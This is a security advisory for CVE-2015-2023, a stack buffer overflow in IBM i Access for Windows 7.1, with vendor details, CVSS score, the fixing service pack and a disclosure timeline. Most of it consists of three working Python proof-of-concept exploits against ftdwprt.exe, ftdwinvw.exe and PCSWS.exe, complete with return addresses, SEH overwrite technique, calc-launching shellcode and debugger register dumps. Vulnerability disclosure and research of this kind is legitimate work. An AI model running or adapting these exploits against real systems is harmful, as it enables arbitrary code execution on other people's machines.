IBM i Access 7.1 - Buffer Overflow Code Execution

[+] Credits: John Page aka hyp3rlinx



[+] Website: hyp3rlinx.altervista.org



[+] Source:

http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt





Vendor:

==============

www.ibm.com





Product:

====================================================

IBM i Access for Windows

Release 7.1 of IBM i Access for Windows is affected





Vulnerability Type:

=======================

Stack Buffer Overflow

Arbitrary Code Exec





CVE Reference:

==============

CVE-2015-2023





Vulnerability Details:

=====================

IBM i Access for Windows is vulnerable to a buffer overflow. A local

attacker could overflow a buffer and execute arbitrary code on the Windows PC.



client Access has ability to receive remote commands via "Cwbrxd.exe"

service

Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253



"Incoming remote command was designed for running non-interactive commands

and programs on a PC", therefore a remote attacker could execute arbitrary code on the system.



Remediation/Fixes

The issue can be fixed by obtaining and applying the Service Pack SI57907.



The buffer overflow vulnerability can be remediated by applying Service

Pack SI57907.



The Service Pack is available at:

http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html



Workarounds and Mitigations

None known



CVSS Base Score: 4.4

CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the

current score

CVSS Environmental Score*: Undefined

CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P)





Exploit code(s):

==============================================================================



Three python POC scriptz follow that exploitz various component of IBM i

Access.





1) Exploits "ftdwprt.exe", direct EIP overwrite



import struct,os,subprocess



pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwprt.exe  "



#shellcode to pop calc.exe Windows 7 SP1

sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"

"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"

"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"

"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"

"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"

"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"

"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")





# use jmp or call esp in FTDBT.dll under AFPviewer for Client Access

# we find ---> 0x638091df : jmp esp |  {PAGE_EXECUTE_READ} [FTDBDT.dll]

ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00

(C:\Program Files (x86)\IBM\Client Access\AFPViewr\FTDBDT.dll)



rp=struct.pack('<L', 0x638091FB)

payload="A" * 1043+rp+sc+"\x90"*20

subprocess.Popen([pgm, payload], shell=False) #<----1043 bytes outside of

debugger use 1044 in debugger.





==================================





2) Exploits "ftdwinvw.exe", direct EIP overwrite



import struct,os,subprocess



pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwinvw.exe "





#shellcode to pop calc.exe Windows 7 SP1

sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"

"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"

"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"

"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"

"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"

"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"

"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")





#payload="A"*1044+"RRRR"+"\x90"*10+"B"*100 #Test EIP



rp=struct.pack('<L', 0x638091fb) #CALL ESP (0x638091fb) FTDBDT.dll

payload="A"*1044+rp+"\x90"*10+sc #KABOOM!!!

subprocess.Popen([pgm, payload], shell=False)



registers dump...



EAX 0000040B

ECX 0044AAB8 ASCII "AAAAAAAAA...

EDX 7F17E09F

EBX 00000000

ESP 0018E5B8

EBP 41414141

ESI 005A9FB9 ASCII "AAAAAAAAA...

EDI 0044E94C ftdwinvw.0044E94C

EIP 52525252                    <----------BOOM!



C 0  ES 002B 32bit 0(FFFFFFFF)

P 0  CS 0023 32bit 0(FFFFFFFF)

A 0  SS 002B 32bit 0(FFFFFFFF)

Z 0  DS 002B 32bit 0(FFFFFFFF)

S 0  FS 0053 32bit 7EFDD000(FFF)

T 0  GS 002B 32bit 0(FFFFFFFF)

D 0

O 0  LastErr ERROR_SUCCESS (00000000)

EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)

ST0 empty g

ST1 empty g

ST2 empty g

ST3 empty g

ST4 empty g

ST5 empty g

ST6 empty g

ST7 empty g

               3 2 1 0      E S P U O Z D I

FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)

FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1







3) Exploits "PCSWS.exe", structured exeception handler (SEH) overwrite



pgm="C:\\Program Files (x86)\\IBM\\Client Access\\Emulator\\pcsws.exe "





#ctrl EIP at 1340 bytes, ESP points to RETURN to ntdll.770BB499 so we will

jump 8 bytes to our SC

#as ESP points to our SC 8 bytes after!



jmp="\xEB\x06"+"\x90"*2

#payload="A"*1336+"BBBB" #Test



#shellcode to pop calc.exe Windows 7 SP1

sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"

"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"

"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"

"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"

"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"

"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"

"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")





rp=struct.pack('<L', 0x678c1e49)                 #pop pop ret 0x67952486

PCSW32X.dll

payload="A"*1332+jmp+rp+sc+"\x90"*10             #KABOOOOOOOOOOOOOOOOOOM!

subprocess.Popen([pgm, payload], shell=False)



register dump...



0018FF6C   41414141  AAAA

0018FF70   41414141  AAAA

0018FF74   41414141  AAAA

0018FF78   41414141  AAAA  Pointer to next SEH record

0018FF7C   42424242  BBBB  SE handler

0018FF80   004C0400  .L.  pcsws.004C0400





Disclosure Timeline:

====================================

Vendor Notification:  May 21, 2015

November 18, 2015  : Public Disclosure





Exploitation Technique:

=======================

Local / Remote





Severity Level:

================

High





Description:

=================================================================================

Request Method(s):          [+] local or remote commands via "Cwbrxd.exe"

service





Vulnerable Product:         [+] IBM i Access for Windows Release 7.1





Affected Area(s):           [+] OS







[+] Disclaimer

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and that due

credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit is given to

the author.

The author is not responsible for any misuse of the information contained

herein and prohibits any malicious use of all security related information

or exploits by the author or elsewhere.



by hyp3rlinx